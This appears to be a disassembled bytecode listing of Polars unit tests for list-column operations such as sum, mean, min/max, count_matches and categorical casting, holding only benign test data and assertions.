LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('ref', 'tag', 'ratio') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST ('label', 'tag', 'ref', 'parents') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 2 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_ATTR group_by LOAD_CONST 'a' LOAD_CONST True LOAD_CONST ('maintain_order',) CALL_FUNCTION LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD concat_list LOAD_CONST <code object <listcomp> at 0x7f8a9469bed0, file "f.py", line 286> LOAD_CONST 'test_flat_aggregation_to_list_conversion_6918.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 2 CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 0.0 LOAD_CONST 1.0 BUILD_LIST BUILD_LIST LOAD_CONST 3.0 LOAD_CONST 4.0 BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 36 STORE_FAST i LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'b' CALL_METHOD LOAD_ATTR list LOAD_METHOD get LOAD_FAST i CALL_METHOD LOAD_METHOD mean CALL_METHOD LOAD_METHOD implode CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'listcol' BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 2 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 4 LOAD_CONST 4 BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD STORE_FAST df LOAD_GLOBAL pytest LOAD_METHOD deprecated_call CALL_METHOD SETUP_WITH to 88 POP_TOP LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'listcol' CALL_METHOD LOAD_ATTR list LOAD_METHOD count_match LOAD_CONST 2 CALL_METHOD LOAD_METHOD alias LOAD_CONST 'number_of_twos' CALL_METHOD CALL_METHOD STORE_FAST result POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'number_of_twos' LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_MAP STORE_FAST expected LOAD_FAST result LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'listcol' BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 2 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 4 LOAD_CONST 4 BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'listcol' CALL_METHOD LOAD_ATTR list LOAD_METHOD count_matches LOAD_CONST 2 CALL_METHOD LOAD_METHOD alias LOAD_CONST 'number_of_twos' CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'number_of_twos' LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE SETUP_LOOP to 240 LOAD_GLOBAL pl LOAD_ATTR Int8 LOAD_GLOBAL pl LOAD_ATTR Int64 BUILD_TUPLE LOAD_GLOBAL pl LOAD_ATTR Int16 LOAD_GLOBAL pl LOAD_ATTR Int64 BUILD_TUPLE LOAD_GLOBAL pl LOAD_ATTR Int32 LOAD_GLOBAL pl LOAD_ATTR Int32 BUILD_TUPLE LOAD_GLOBAL pl LOAD_ATTR Int64 LOAD_GLOBAL pl LOAD_ATTR Int64 BUILD_TUPLE LOAD_GLOBAL pl LOAD_ATTR UInt8 LOAD_GLOBAL pl LOAD_ATTR Int64 BUILD_TUPLE LOAD_GLOBAL pl LOAD_ATTR UInt16 LOAD_GLOBAL pl LOAD_ATTR Int64 BUILD_TUPLE LOAD_GLOBAL pl LOAD_ATTR UInt32 LOAD_GLOBAL pl LOAD_ATTR UInt32 BUILD_TUPLE LOAD_GLOBAL pl LOAD_ATTR UInt64 LOAD_GLOBAL pl LOAD_ATTR UInt64 BUILD_TUPLE BUILD_LIST GET_ITER FOR_ITER to 238 UNPACK_SEQUENCE STORE_FAST dt_in STORE_FAST dt_out LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 'a' LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST BUILD_MAP LOAD_CONST 'a' LOAD_GLOBAL pl LOAD_METHOD List LOAD_FAST dt_in CALL_METHOD BUILD_MAP LOAD_CONST ('schema',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_METHOD explode LOAD_CONST 'a' CALL_METHOD LOAD_METHOD sum CALL_METHOD STORE_FAST summed LOAD_FAST summed LOAD_ATTR dtypes LOAD_FAST dt_out BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST summed LOAD_METHOD item CALL_METHOD LOAD_CONST 32 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD sum CALL_METHOD CALL_METHOD LOAD_ATTR dtypes LOAD_FAST dt_out BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD sum CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 6 LOAD_CONST 10 LOAD_CONST 15 BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST LOAD_CONST None BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD sum CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 6 LOAD_CONST 10 LOAD_CONST 15 LOAD_CONST None BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST True BUILD_LIST LOAD_CONST True LOAD_CONST True BUILD_LIST LOAD_CONST True LOAD_CONST False LOAD_CONST True BUILD_LIST LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST None BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD sum CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST False BUILD_LIST LOAD_CONST False LOAD_CONST False BUILD_LIST LOAD_CONST False LOAD_CONST False LOAD_CONST False BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD sum CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST True BUILD_LIST LOAD_CONST True LOAD_CONST True BUILD_LIST LOAD_CONST True LOAD_CONST True LOAD_CONST True BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD sum CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD mean CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1.0 LOAD_CONST 2.0 LOAD_CONST 2.5 LOAD_CONST 3.0 BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST None BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD mean CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1.0 LOAD_CONST 2.0 LOAD_CONST 2.5 LOAD_CONST None BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST True BUILD_LIST LOAD_CONST False BUILD_LIST LOAD_CONST True LOAD_CONST True BUILD_LIST LOAD_CONST True LOAD_CONST False BUILD_LIST LOAD_CONST False LOAD_CONST False BUILD_LIST LOAD_CONST None BUILD_LIST BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD all CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST True LOAD_CONST False LOAD_CONST True LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST True BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST True BUILD_LIST LOAD_CONST False BUILD_LIST LOAD_CONST True LOAD_CONST True BUILD_LIST LOAD_CONST True LOAD_CONST False BUILD_LIST LOAD_CONST False LOAD_CONST False BUILD_LIST LOAD_CONST None BUILD_LIST BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD any CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST True LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST False LOAD_CONST False BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE SETUP_LOOP to 192 LOAD_GLOBAL pl LOAD_ATTR INTEGER_DTYPES LOAD_GLOBAL pl LOAD_ATTR FLOAT_DTYPES BINARY_OR GET_ITER FOR_ITER to 190 STORE_FAST dt LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 'a' LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST BUILD_MAP LOAD_CONST 'a' LOAD_GLOBAL pl LOAD_METHOD List LOAD_FAST dt CALL_METHOD BUILD_MAP LOAD_CONST ('schema',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD min CALL_METHOD CALL_METHOD STORE_FAST result LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD first CALL_METHOD CALL_METHOD STORE_FAST expected LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD max CALL_METHOD CALL_METHOD STORE_FAST result LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD last CALL_METHOD CALL_METHOD STORE_FAST expected LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 5 LOAD_CONST -1 LOAD_CONST 3 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST LOAD_CONST None BUILD_LIST BUILD_MAP CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD min CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST -1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST None BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD max CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 5 LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST None BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST None BUILD_LIST BUILD_LIST LOAD_CONST None LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_ATTR select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD min CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD max CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'b' CALL_METHOD LOAD_ATTR list LOAD_METHOD min CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'b' CALL_METHOD LOAD_ATTR list LOAD_METHOD max CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'c' CALL_METHOD LOAD_ATTR list LOAD_METHOD min CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'c' CALL_METHOD LOAD_ATTR list LOAD_METHOD max CALL_METHOD LOAD_CONST ('min_a', 'max_a', 'min_b', 'max_b', 'min_c', 'max_c') CALL_FUNCTION STORE_FAST out LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST None LOAD_CONST 1 BUILD_LIST LOAD_CONST None LOAD_CONST 3 BUILD_LIST LOAD_CONST 1 LOAD_CONST None BUILD_LIST LOAD_CONST 2 LOAD_CONST None BUILD_LIST LOAD_CONST None LOAD_CONST 1 BUILD_LIST LOAD_CONST None LOAD_CONST 2 BUILD_LIST LOAD_CONST ('min_a', 'max_a', 'min_b', 'max_b', 'min_c', 'max_c') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST expected LOAD_GLOBAL assert_frame_equal LOAD_FAST out LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST 'a' BUILD_LIST LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_METHOD fill_null BUILD_LIST CALL_METHOD LOAD_METHOD to_list CALL_METHOD LOAD_CONST 'a' BUILD_LIST BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD lit LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Categorical LOAD_CONST ('dtype',) CALL_FUNCTION CALL_METHOD LOAD_METHOD implode CALL_METHOD LOAD_METHOD implode CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST '' LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST BUILD_LIST BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST None BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_ATTR dtype LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Null CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD to_list CALL_METHOD LOAD_CONST None BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 'cats' LOAD_CONST 'Value1' LOAD_CONST 'Value2' LOAD_CONST 'Value1' BUILD_LIST BUILD_MAP LOAD_CONST 'cats' LOAD_GLOBAL pl LOAD_ATTR Categorical BUILD_MAP LOAD_CONST ('schema_overrides',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_METHOD group_by LOAD_CONST 1 CALL_METHOD LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD struct LOAD_CONST 'cats' CALL_METHOD CALL_METHOD STORE_FAST out LOAD_FAST out LOAD_ATTR dtypes LOAD_GLOBAL pl LOAD_ATTR Int32 LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_GLOBAL pl LOAD_METHOD Field LOAD_CONST 'cats' LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD BUILD_LIST CALL_METHOD CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST out LOAD_CONST 'cats' BINARY_SUBSCR LOAD_METHOD to_list CALL_METHOD LOAD_CONST 'cats' LOAD_CONST 'Value1' BUILD_MAP LOAD_CONST 'cats' LOAD_CONST 'Value2' BUILD_MAP LOAD_CONST 'cats' LOAD_CONST 'Value1' BUILD_MAP BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 'GroupA' LOAD_CONST 'GroupA' LOAD_CONST 'GroupA' BUILD_LIST LOAD_CONST 'Value1' LOAD_CONST 'Value2' LOAD_CONST 'Value1' BUILD_LIST LOAD_CONST ('Group', 'Values') BUILD_CONST_KEY_MAP LOAD_CONST 'Values' LOAD_GLOBAL pl LOAD_ATTR Categorical BUILD_MAP LOAD_CONST ('schema_overrides',) CALL_FUNCTION LOAD_METHOD group_by LOAD_CONST 'Group' CALL_METHOD LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'Values' CALL_METHOD LOAD_ATTR value_counts LOAD_CONST True LOAD_CONST ('sort',) CALL_FUNCTION CALL_METHOD LOAD_METHOD explode LOAD_CONST 'Values' CALL_METHOD LOAD_METHOD unnest LOAD_CONST 'Values' CALL_METHOD STORE_FAST out LOAD_FAST out LOAD_ATTR dtypes LOAD_GLOBAL pl LOAD_ATTR String LOAD_GLOBAL pl LOAD_ATTR Categorical LOAD_GLOBAL pl LOAD_ATTR UInt32 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST out LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'GroupA' LOAD_CONST 'GroupA' BUILD_LIST LOAD_CONST 'Value1' LOAD_CONST 'Value2' BUILD_LIST LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST ('Group', 'Values', 'count') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD CALL_METHOD CALL_METHOD STORE_FAST dtype LOAD_CONST 'x' BUILD_LIST LOAD_CONST 'y' BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 'x' BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST STORE_FAST values LOAD_GLOBAL pl LOAD_METHOD Series LOAD_FAST values CALL_METHOD LOAD_METHOD cast LOAD_FAST dtype CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_ATTR dtype LOAD_FAST dtype COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD to_list CALL_METHOD LOAD_FAST values COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR Series LOAD_FAST data LOAD_FAST dtype LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD cast LOAD_GLOBAL pl LOAD_METHOD List LOAD_FAST dtype CALL_METHOD CALL_METHOD STORE_FAST casted_s LOAD_GLOBAL pl LOAD_ATTR Series LOAD_FAST expected_data LOAD_GLOBAL pl LOAD_METHOD List LOAD_FAST dtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST expected LOAD_GLOBAL assert_series_equal LOAD_FAST casted_s LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD struct LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST 'a' LOAD_GLOBAL date LOAD_CONST 2001 LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST CALL_METHOD CALL_METHOD LOAD_METHOD implode CALL_METHOD CALL_METHOD LOAD_METHOD to_series CALL_METHOD LOAD_METHOD new_from_index LOAD_CONST 0 LOAD_CONST 1 CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_ATTR dtype LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_GLOBAL pl LOAD_METHOD Field LOAD_CONST 'a' LOAD_GLOBAL pl LOAD_ATTR Date CALL_METHOD BUILD_LIST CALL_METHOD CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD to_list CALL_METHOD LOAD_CONST 'a' LOAD_GLOBAL date LOAD_CONST 2001 LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_MAP BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_CONST 'c' LOAD_GLOBAL pl LOAD_ATTR Boolean BUILD_MAP CALL_METHOD CALL_METHOD STORE_FAST dtype LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'b' BUILD_LIST BUILD_LIST LOAD_FAST dtype LOAD_CONST ('values', 'dtype') 